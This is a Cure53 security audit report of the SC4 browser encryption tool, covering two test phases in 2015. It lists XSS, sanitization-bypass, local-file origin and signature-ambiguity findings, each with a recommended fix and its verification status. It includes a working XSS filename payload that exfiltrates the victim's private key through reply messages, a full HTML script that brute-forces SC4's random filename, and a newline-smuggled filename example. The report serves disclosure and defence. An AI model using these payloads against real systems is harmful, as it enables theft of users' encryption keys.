Pentest-Report SC4 03.2015 and 05.2015

Cure53, Dr.-Ing. Mario Heiderich, Jann Horn

Index

- Introduction
- Scope
- Identified Vulnerabilities
  - SC4-01-002 Running from file:// in Chrome is considered insecure (High)
  - SC4-01-004 XSS via Attacker-controlled usage of malicious Filenames (Critical)
  - SC4-01-006 Inconsistent Warning about a Key's Age (Low)
  - SC4-01-007 Preamble contains HTTP Link where HTTPS is needed (Low)
  - SC4-01-008 Attacker can fake Direction of encrypted, unsigned Messages (Low)
  - SC4-01-011 Message Contents shown with attacker-controlled MIME Type (Critical)
  - SC4-01-012 Signature does not cover filename and MIME type (Medium)
  - SC4-02-013 Random File Names are too short and allow brute-force Attacks (High)
  - SC4-02-014 No Warning about SC4 Copy in the Downloads Folder (Medium)
  - SC4-02-015 Different Content-Type bypasses Preview Sanitization (Critical)
  - SC4-02-017 Links to local files are not removed during Sanitization (High)
  - SC4-02-019 CSS can be used to break out of DIV containing Message (Medium)
  - SC4-02-020 Signatures for transferred Files are too ambiguous (Low)
- Miscellaneous Issues
  - SC4-01-001 Wrong Key-Size given in README.md (Info)
  - SC4-01-003 Hosted Version does not employ X-Frame-Options (Medium)
  - SC4-01-005 No Content Security Policy Headers are being used (Medium)
  - SC4-01-009 Different Signer and Encrypter are accepted (Low)
  - SC4-01-010 UI issue: "Encrypt" is a misleading label (Info)
  - SC4-02-016 No Character Set applied in Content-Type of sanitized Data (High)
  - SC4-02-018 No Protection from being framed for Local SC4 Version (Low)
- Conclusion

Introduction

"SC4 is a web application that provides secure encrypted communications and secure digital signatures. It is intended to be a replacement for PGP/GPG."

From https://github.com/Spark-Innovations/SC4

This test against the SC4 web crypto tool was carried out in two phases, one starting on March 2015 and the other one starting in May 2015. The first phase was meant to review the first technical prototype of the application, while the second phase united a fix verification process as well as a conclusive test against newly added features and protections. Findings from the first phase of the test are labelled with identifiers *SC4-01-00X* while findings from phase two are labelled with *SC4-02-00X*.

The first phase, a quick-test against the SC4 web crypto application was performed over the course of 1.5 days and yielded seven vulnerabilities and five general weaknesses. Two of the identified vulnerabilities were classified to be of a critical degree of severity. This is because they allow an attacker to remotely compromise a victim and get access to data which is highly sensitive in the context of this particular application.

It must be noted early on that the test took place at a very early stage of the project development. Nonetheless, it managed to pinpoint a severe design issue (described in SC4-01-002) resulting from a problematic and unforeseeable behavior of the Blink/Webkit browser engine during the handling of persistent storage from a *file://* origin[1]. Over the course of the test and throughout the accompanying communication with the SC4 maintainers, several alternatives to working around the browser's quirky and insecure behavior were discussed. If none of the suggestions can ultimately be suitable for the envisioned use-cases, it is a vital task to contact the browser developers. A ticket[2] about the storage isolation problem should be filled, and then a properly working fix must be awaited.

The second phase of the test was also performed over a period of 1.5 days and covered verification of fixes from phase one and more security tests against the remaining components and newly added code. Six additional vulnerabilities were spotted and one of them was classified to be of critical severity. In addition, two general weaknesses were identified and reported. All were reported by the Cure53 team, addressed by the SC4 maintainer, and generally verified as fixed by Cure53 afterwards.

Our verdict is that SC4 has developed from a proof-of-concept to an edgy and unconventional yet reliable crypto tool. If certain limitations and constraints are respected by its users, SC4 indeed fills a formerly unpopulated gap in the world of browser crypto.

[1] http://en.wikipedia.org/wiki/File_URI_scheme
[2] https://code.google.com/p/chromium/issues/list

Scope

- **Spark Innovations SC4 App and Sources**
  - https://github.com/Spark-Innovations/SC4

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in a chronological order rather than by their degree of severity and impact, which is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier *(*e.g. *SC4-01-00X / SC4-02-00X)* for the purpose of facilitating any future follow-up correspondence.

SC4-01-002 Running from file:// in Chrome is considered insecure *(High)*

The file *README.md* instructs the user to *"Download the code and open sc4.html in your favorite browser."* This clearly implies a promise of the SC4 application being safe when run from a file: URI. Indeed, in Firefox one Local Storage[3] database exists per folder, however, this unfortunately is not the case in Google Chrome. There all pages loaded from file: URIs share the same Local Storage database, meaning that any other HTML file that the user opens from his hard drive will gain access to his secret SC4 keys.

Consequently, this seems like a violation of the Web Storage spec[4] (in Chrome, for local files, the full path is the origin for security purposes). Therefore, a recommendation is to attempt to have this changed in the Chromium codebase by filing an issue in the Chromium bug tracker. If this approach fails, it might be necessary to prompt the user to save data prior to closing the SC4 tab by overwriting the existing *sc4.html* with a version that contains the persistent data (Alternatively stop support for running from file:// URIs in Chrome).

Note that this appears to be a browser-engine related problem and thus also affects Safari, Opera and other WebKit/Blink-related browsers.

Note: This issue has not been verified as successfully fixed by Cure53 in the second round of testing. However, issues SC4-02-013 and SC4-02-014 address the implementation and comment on the final fixes.

[3] http://diveintohtml5.info/storage.html
[4] http://www.w3.org/TR/webstorage/#security-localStorage

SC4-01-004 XSS via Attacker-controlled usage of malicious Filenames *(**Critical**)*

An XSS problem was discovered in relation to maliciously prepared filenames and MIME types. The method `process_sc4_file()`[5] shows filenames and MIME types contained in received messages without escaping them:

```
msgs.push(filename ? 'File name: ' + filename : '(No file name)');
[...]
msg(msgs.join('<br>'));
```

This allows an attacker to inject arbitrary HTML code into a victim's SC4 instance by sending him an encrypted message. Because the message is encrypted, the victim has no chance of spotting the XSS attack. As soon as he clicks the decrypt button, the injected script will run. To reproduce the issue from the attacker's perspective, one must import the victim's public key, set a breakpoint at the top of `bundle()`[6] and write a harmless-looking message. Select the "Encrypt" option and click "Submit". When the breakpoint fires, enter the following in the developer console:

```
filename='hello.txt<img class=dropzone src=x
onerror="X=encrypt;encrypt=function(a,r){if(rx_keys[r]
[0]==\'test1@cure53.de\')return bufconcat([X(a,r),to_bytes(\'###### HERE COMES
THE KEY ######\'+localStorage[sk_key])]);return X(a,r)}">'
```

Next, let the execution continue and send the resulting message to the victim. Assuming a very security-conscious victim, a person receiving a message follows the *README.md,* stops the internet connection and decrypts the message. However, he is unable to see anything unusual and decides to write a reply, which he also encrypts. The unsuspecting victim selects the attacker as recipient, and therefore allows him to take the incoming message, base64-decode it and see the following in the second half of the data:

```
###### HERE COMES THE KEY
######["AbZ4930AoFAejUlSxY+ddUD86WM+K69cX/rxmG3f+UU=","WCIaCl/TD0wiLnNO7/r7yRqCp
g4WD/lcVp+gb29qxCs=","Jh53CrwNsJjRy1wfUDlU/ZTdXR/RPu6KthcyLWs3uEU="]
```

Of course, if the victim does not prevent the SC4 client from connecting to the internet, a more straightforward attack that sends out the victim's private key to the attacker's server as soon as the crafted message is viewed is also possible. It is recommended to escape all non-static strings that are not supposed to contain HTML code.

Note: This issue has been verified as successfully fixed by Cure53 in the second round of testing.

[5] https://github.com/Spark-Innovations/SC4/blob/master/sc4.js#L631
[6] https://github.com/Spark-Innovations/SC4/blob/master/sc4.js#L408

SC4-01-006 Inconsistent Warning about a Key's Age *(Low)*

A consistency problem with a key's age check was discovered, possibly leading to key spoofing issues. When a key is imported, the following checks are run on the export time of the key:

```
var timestamp = Date.parse(l[2]);
var age = Date.now() - timestamp;  // In milliseconds
if (age<0) return msg('Invalid key (timestamp is in the future)');
if (age>two_years) msg('Invalid key (too old)');
```

The import is only terminated if the timestamp is in the future, not if the key is too old. The user will see a message saying that the key is too old and therefore invalid, but the following code will also run:

```
if (confirm('This is a valid public key from ' + email + ' signed ' +
    wordify(age) + '  Would you like to install it?')){
    install_public_key(email, epk, spk);
}
```

According to this message, the outdated, invalid key is valid. It is recommended to label the key as either valid or invalid in both messages.

Note: This issue has been verified as successfully fixed by Cure53 in the second round of testing.

SC4-01-007 Preamble contains HTTP Link where HTTPS is needed *(Low)*

The preamble that SC4 prefixes the encrypted mails with normally contains a link to http://sc4.us/, without HTTPS. A man-in-the-middle attacker without the ability to intercept normal email communication might intercept the request to http://sc4.us/, prevent the redirect to https://sc4.us/ from working (or redirect to a different domain with HTTPS) and deliver a backdoored version of SC4 to the user. It is recommended to directly place a link to https://sc4.us/ in the preamble.

Note: This issue has been verified as successfully fixed by Cure53 in the second round of testing.

SC4-01-008 Attacker can fake Direction of encrypted, unsigned Messages *(Low)*

A man-in-the-middle attacker between Alice and Bob, who communicate using encrypted messages without signatures (because they want confidentiality and authenticity, but no non-repudiability) can cause Alice to see a message she sent to Bob as one being sent by Bob. This is possible because the NaCl box works in a manner of first deriving a shared secret between Alice and Bob (which is the same for both directions) and, secondly, encrypting and signing a message symmetrically with the use of the shared secret.

One recommendation would be to add a direction marker byte to encrypted messages, with a value that depends on whether one's own public key or the public key of the other party has a bigger value. Alternatively, one bit of the nonce could be made dependent on the direction (applicable to a place where the direction is calculated in the same way). The value of the marker byte or bit should then be verified upon decryption.

Note: This issue has been verified as successfully fixed by Cure53 in the third round of testing.

SC4-01-011 Message Contents shown w. attacker-controlled MIME Type *(**Critical**)*

When the MIME type of a message is not `text/plain`, the message is converted to a blob with sender-controlled contents and MIME type. The resulting blob: URI is used as the source for an iframe.

While Blob URIs look like if they had a different origin than the site creating them, the creating site and the blob actually share the origin.[7] This means that if an attacker sends a message containing data with type `text/html`, JavaScript code embedded in the HTML file he sent can both directly access the same Local Storage as the SC4 client and access the DOM and JavaScript objects of the SC4 client. The latter can be reached using `window.top`. If HTML messages constitute a supported use case, it is recommended to use the HTML5 `sandbox` attribute with an empty value to isolate the iframe contents from the surrounding page. This will still keep a possibility for the HTML messages to be rendered, but will unfortunately prevent rendering of plugin contents such as PDF files. To prevent the user from accidentally running the message data outside the iframe sandbox, it is desirable to use a second Blob URI for the download that employs a fixed MIME type of *application/octet-stream*. Unfortunately, at this time there does not appear to be a safe way to embed untrusted content which would work without a throwaway origin that has access to message contents.[8]

Note: This issue has not been verified as successfully fixed by Cure53 in the second round of testing. Another issue was filed as SC4-02-015 to address the spotted variations and comments on the final fixes.

SC4-01-012 Signature does not cover filename and MIME type *(Medium)*

The signature for an SC4 message is only computed over the file contents and not the filename or the MIME type. Because the filename and the MIME type can alter how the contents of a file are interpreted, it is recommended to include the filename and the MIME type in the signature.

In particular if Bob signs documents sent to him by Alice after inspecting them, Alice could craft a file with different meanings, which would rely on the fact of viewing with different programs. For example, that could mean a file that is a valid PDF file (with

[7] http://dev.w3.org/2006/webapi/FileAPI/#originOfBlobURL
[8] http://lcamtuf.blogspot.de/2011/03/warning-object-and-embed-are-inherently.html

content Bob would never sign) and a valid ZIP file (with harmless content) at the same time. After letting Bob sign the file as a ZIP file, Alice can then alter the metadata and distribute the file as a PDF with a valid Bob's signature. When accused of signing the malicious PDF file, Bob can publicly prove that something fishy is going on (the file is also a valid ZIP file), but Bob is unable to prove that he is not the one who issued the false document in the first place in order to gain plausible deniability.

Note: This issue has not been verified as successfully fixed by Cure53 in the third round of testing. Another issue was filed as SC4-03-020 to address the spotted variation.

SC4-02-013 Random File Names are too short and allow brute-force Attacks *(High)*

SC4 generates a random filename in its efforts to prevent a malicious local HTML file in Firefox from reading the secrets embedded in the local SC4 copy. However, the generated token is too short. Brute-forcing an average SC4-generated filename takes about two minutes in Chrome and about one minute in Firefox. The calculations have been done for the attacker using the following code:

Example Exploit:

```
<html><head id="head"></head><body>
<span id="state"></span>
<script>
var $ = document.getElementById.bind(document);
function get_url(url, cb) {
  var e = document.createElement('script');
  e.setAttribute('src', url);
  e.onload = cb_.bind(null, true);
  e.onerror = cb_.bind(null, false);
  $('head').appendChild(e);
  function cb_(res) {
    $('head').removeChild(e);
    cb(res);
  }
}

var i = parseInt(location.hash.slice(1), 10);
if (i != i) i = 0;
function next() {
  if (i == 1000000) return alert('fail!');
  if (i%100 == 0) {
    $('state').innerText = i;
  }
  var name = 'sc4_'+i+'.html';
  get_url(name, function(found) {
    if (found) {
      alert('found it!\nname=' + name);
    } else {
      i++;
      if (i % 1000 == 0) {
        // workaround to keep Chrome from getting slower
        location = '?' + Math.random() + '#' + i;
      } else {
```

```
        next();
      }
    }
  });
}
next();
</script>
</body></html>
```

It is recommended to make the random filename significantly longer. Ideally, it should contain at least 80 bits of randomness and preferably generate the randomness with the use of the DOM method `crypto.getRandomValues()`).

Importantly, no inherent flaws in this defense could be found during the test, although it needs to be noted that Firefox allows a directory listing to be framed, but XHR and DOM access are blocked, and drag-drop gestures out of the directory listing also fail. The only bypass occurs when a user performs a drag-drop operation between two different browser windows.

Note: This issue has been verified as successfully fixed by Cure53 in the third round of testing.

SC4-02-014 No Warning about SC4 Copy in the Downloads Folder *(Medium)*

Once a copy of SC4 is generated, it is downloaded to the Downloads folder. This pattern makes the SC4 copy prone to attacks in Firefox, which are more specifically due to the fact that the copy is considered to be of same-origin with all of the other downloaded HTML files.

It is strongly recommended to encourage users to refrain from placing the SC4 file inside the Downloads folder. Similarly, any other folder that might allow an attacker to locally place a locally executed HTML file should be avoided. If an attacker indeed manages to place a later locally executed HTML file in the same folder as the SC4 file, one must consider a possibility of several technical and social engineering-based attacks. These can be used to assist the attacker in unveiling the SC4 filename, thereby granting access to sensitive information.

Note: This issue has been verified as successfully fixed by Cure53 in the third round of testing.

SC4-02-015 Different Content-Type bypasses Preview Sanitization *(Critical)*

A received file is only sanitized in terms of removing malicious tags whenever its content type is `text/html`. However, the received file is afterwards loaded into an iframe. This occurs if the MIME type either is `text/html` (which is safe because the HTML code has been sanitized) or when it does not begin with `text`. This means that an attacker can still bypass the filter by employing a content type like `application/xhtml+xml` (in which case the HTML has to be valid XHTML) or `tExt/html`.

It is recommended to only render data that was sanitized in the preview frame, regardless of what its content type is. Maintaining a black-list of risky content types should rather be avoided. Such list can easily be bypassed depending on operating system configuration and other factors that are transparent to the SC4 maintainer.

Note: This issue has been partly verified as successfully fixed by Cure53 in the third round of testing. At the point of fix verification, the author decided to whitelist the content type application/x-pdf for preview, thereby allowing an attacker to carry out attacks from inside the transmitted PDF files. The attack impact would vary depending on what browser and reader plugins are used. Cure53 strongly discourages the use of this risky preview feature.

SC4-02-017 Links to local files are not removed during Sanitization *(High)*

The fact that HTML code is sanitized using DOMPurify means that links are allowed. This applies also to links to `file:` URIs. By first triggering a download of a malicious file from a normal webpage and then linking to the downloaded local HTML file in an SC4 message, an attacker might be able to trick a victim into granting the privileges of local HTML files to the attacker. The local HTML files often have significantly higher privileges than HTML files from web origins and vulnerabilities in their restrictions are treated as low-severity issues.

It is recommended to either use a DOMPurify hook to remove links to unknown origins, as well as non-web protocols, or, alternatively, to blacklist the `href`, `xlink:href`, `src` and `action` attributes using the `FORBID_ATTR` configuration option of DOMPurify.

Note: This issue has been verified as successfully fixed by Cure53 in the third round of testing.

SC4-02-019 CSS can be used to break out of DIV containing Message *(Medium)*

In the newest version of SC4, DOMPurify-sanitized HTML is no longer shown in an iframe, but in a div. This is problematic because DOMPurify does not sanitize CSS rules, allowing a malicious message to visually break out of the message box and overlay parts of the trusted UI (such as the identity of the sender). This can take place as long as the malicious message is visible.

It is recommended to only show untrusted HTML inside an iframe, not directly in the main document.

Note: This issue has been verified as successfully fixed by Cure53 in the third round of testing.

SC4-02-020 Signatures for transferred Files are too ambiguous *(Low)*

SC4 signatures delimit the filename and the MIME type using newlines, but SC4 does not ensure that no new-lines can occur within the filename or the MIME type. Theoretically, the attack scenario described next is possible. Consider that an attacker crafts a file with a name like `evil.zip\n.pdf`, sends it to a victim and convinces him to sign it. The victim would then sign this:

```
6b3bfb[...]07eeb8  evil.zip
.pdf
application/zip
```

The attacker can then take the signed message and, without modifying the signature, he or she is able change the filename to “evil.zip” and the content type to “.pdf\napplication/zip”. Afterwards, the modified signed file can be passed to another user, who will see a file named “evil.zip” with a valid signature and content type “.pdf application/zip”. This file will be opened by the program configured for handling zip files after downloading and opening it.

It is recommended to blacklist the delimiter character (newline) in filenames and MIME types in `combine4sig()`.

Note: This issue relates to SC4-02-015 and has been partly mitigated with a user dialog warning in case of a potentially harmful file type being spotted.

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid attackers in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

SC4-01-001 Wrong Key-Size given in README.md *(Info)*

It is claimed in the file *README.md*[9] that the keys for Curve25519[10] and Ed25519[11] are only 128-bits-long. Both public and private keys for Curve25519 and Ed25519 are actually 256-bits-long, which provides 256/2=128 bits of security. A 128-bit key would only provide about 64 bits of security because of generic discrete logarithm algorithms that run in square-root time, such as the baby-step giant-step algorithm.

Note: This issue has been verified as successfully fixed by Cure53 in the second round of testing.

[9] https://github.com/Spark-Innovations/SC4/blob/master/README.md
[10] http://en.wikipedia.org/wiki/Curve25519
[11] http://en.wikipedia.org/wiki/EdDSA#Ed25519

SC4-01-003 Hosted Version does not employ X-Frame-Options *(Medium)*

The hosted version of the SC4 application at https://sc4.us/sc4.html, the page to which emails generated by SC4 refer to, does not use the X-Frame-Options header[12] to prevent malicious framing. While no way to exploit this was discovered during the test, it is still recommended to use *X-Frame-Options:DENY* in order to prevent Clickjacking attacks.

Note: This issue has **not** been verified as successfully fixed by Cure53 in the second round of testing. It has not been addressed yet.

Note: After another test, the URL was taken offline until further notice.

SC4-01-005 No Content Security Policy Headers are being used *(Medium)*

The Content Security Policy[13] is a defense-in-depth measure that can be used to limit the impact of vulnerabilities in web applications, in particular XSS injection vulnerabilities such as SC4-01-004. It is recommended to enable Content Security Policy to reduce the impact of such issues.

Appropriate set of CSP rules:

```
default-src 'none'; script-src 'self'; style-src 'self';
```

If the iframe feature is to be kept, the following rule would have to be appended as well:

```
frame-src blob:;
```

These rules should be delivered to the browser using the `Content-Security-Policy` HTTP header. Additionally, to protect users that open SC4 from their local hard disk, a `<meta http-equiv="Content-Security-Policy" content="...">` tag should be used.

Depending both on the browser in use and its particular version, the `Content-Security-Policy` header and the `meta` tag might have to be repeated as `X-Content-Security-Policy` (for current Internet Explorer versions) and `X-Webkit-CSP` (for older Firefox and Chrome versions).[14]

Keep in mind that this protection is not 100% reliable: Firefox does not support CSP via meta-tag yet.[15] In Chrome, all local files are part of the same origin for CSP purposes, so an attacker who can store arbitrary data under a known path can still bypass the protection if SC4 is loaded from a local path. In CSP Level 2, this issue can be mitigated by allowing a file using the hash of its contents instead of its origin. Conversely, that might break SC4 on browsers that support CSP, but not CSP Level 2.

[12] https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options
[13] https://developer.mozilla.org/en-US/docs/Web/Security/CSP
[14] http://caniuse.com/#feat=contentsecuritypolicy
[15] https://bugzilla.mozilla.org/show_bug.cgi?id=663570

Further note that CSP strictly blocks execution of inline scripts and styles by default, which means that the existing event handlers in the HTML code would need to be moved into the JavaScript file.

Note: This issue has been verified as successfully fixed by Cure53 in the third round of testing.

SC4-01-009 Different Signer and Encrypter are accepted *(Low)*

Although SC4 does not let the user create messages with different signer and encrypter, such messages are still accepted. Regardless of the UI correctly displaying both the identity of the signer and the encrypter, an inattentive user might only look at one of the two. If there are no plans to allow the creation of messages with different signer and encrypter in the future, it is recommended to issue a user warning or reject the message if it has been signed and encrypted by different users.

Note: This issue has been verified as successfully fixed by Cure53 in the third round of testing.

SC4-01-010 UI issue: “Encrypt” is a misleading label *(Info)*

In the UI the NaCl box operation can be activated with the “Encrypt” button. The NaCl box operation not only encrypts the data but also authenticates it. It is recommended to rename the “Encrypt” checkbox to something like “Encrypt and authenticate with repudiability”.

Note: This issue has **not** been verified as successfully fixed by Cure53 in the second round of testing. It has not been addressed thus far.

SC4-02-016 No Character Set applied in Content-Type of sanitized Data *(High)*

After sanitizing potentially malicious HTML using DOMPurify, SC4 puts the result in a Blob, which is used as the source URL of a frame. During this process the string of HTML code is converted to binary data, which is then decoded back into a string by the browser. Because no explicit charset is specified in the MIME type of the content, this might convert harmless characters into dangerous ones and lead to an XSS issue.

It is recommended to categorically set the MIME type of the Blob to `text/html; charset=utf-8` to avoid charset XSS attacks on MSIE and Firefox. Chrome generally succeeded in mitigating those attacks and only older versions are therefore affected.

Note: This issue has been verified as successfully fixed by Cure53 in the third round of testing.

SC4-02-018 No Protection from being framed for Local SC4 Version *(Low)*

While the local standalone version of SC4 protects itself against most attacks by using a random filename, it is recommended to additionally prevent malicious framing. This can be done by refusing to execute any JS code if the condition `window.top !== window` is fulfilled. Please consult the patch below for illustration:

```
<script>
if (window.top !== window) throw 'refused to run in a frame';
$(sc4.init);
</script>
```

Note: This issue has been verified as successfully fixed by Cure53 in the third round of testing.

Conclusion

In the stage of the first test rounds in March 2015, SC4 could be seen as a technical proof of concept for a very flexible and web-based cryptographic tool, which is capable of running in both online and offline environments. In addition, it can do so equally from a local HTML file and a web-server, as well as from any other deployment mechanism capable of delivering HTML to the browser. SC4 attempts to make cryptographically secure communication more accessible when compared to the existing solutions. It is essentially describing itself as a possible competitor to PGP. All issues from this first test phase are flagged with the prefix *SC4-01-0XX*.

SC4 aims at being deployable across many different scenarios. It is this very flexibility that might have concurrently highlighted SC4's biggest weaknesses. Deploying HTML via the file:// URL is not a common use case. Thus the security boundaries provided by browsers to protect this origin properly are not as well-developed as what is known from the SOP[16] between domains and other comparable origins. As the issue described in SC4-01-002 demonstrates, the problem of perfect isolation for data stored persistently from a file:// origin has not been resolved in Chrome and other browsers using the Blink/Webkit engine until now. This issue needs to be addressed by browser vendors before SC4 can function securely.

The cryptographic implementation appears sound. Aside from minor validation issues, no severe wrongdoings in this realm were spotted. It should however be kept in mind that the unorthodox deployment model might introduce a range of novel risks. Therefore, it needs to be continuously explored and documented further before the software is publicly released for wider use. The *file://* origin is uncommon for modern web and browser applications. As such it certainly needs dedicated, cross-browser testing, so that more can be stated and retained about its properties and security guarantees. In that sense, SC4 is still far away from being able to completely fulfill its proclaimed goals. At the same time, it is a slim, fresh and interesting approach to making cryptography more accessible with the aid of the browser and simplified key exchange models.

[16] http://en.wikipedia.org/wiki/Same-origin_policy

It is noteworthy that the second phase of testing essentially focused on fix verifications and contributed an additional round of testing against possible vulnerabilities in recently implemented features.

All issues from this second test phase are flagged with the prefix *SC4-02-0XX*. The second round of testing was finished in early June 2015 and yielded eight new issues. All were reported by the Cure53 team, addressed by the SC4 maintainer, and generally verified as fixed by Cure53 afterwards. As mentioned earlier in the Introduction, our verdict on SC4 is, that it has developed from a proof-of-concept to an edgy and unconventional yet reliable crypto tool. If certain limitations and constraints are respected by its users, SC4 indeed fills a formerly unpopulated gap in the world of browser cryptography.

Cure53 would like to thank Ron Garret for this interesting and unorthodox project. We are grateful for support and assistance received throughout this assignment.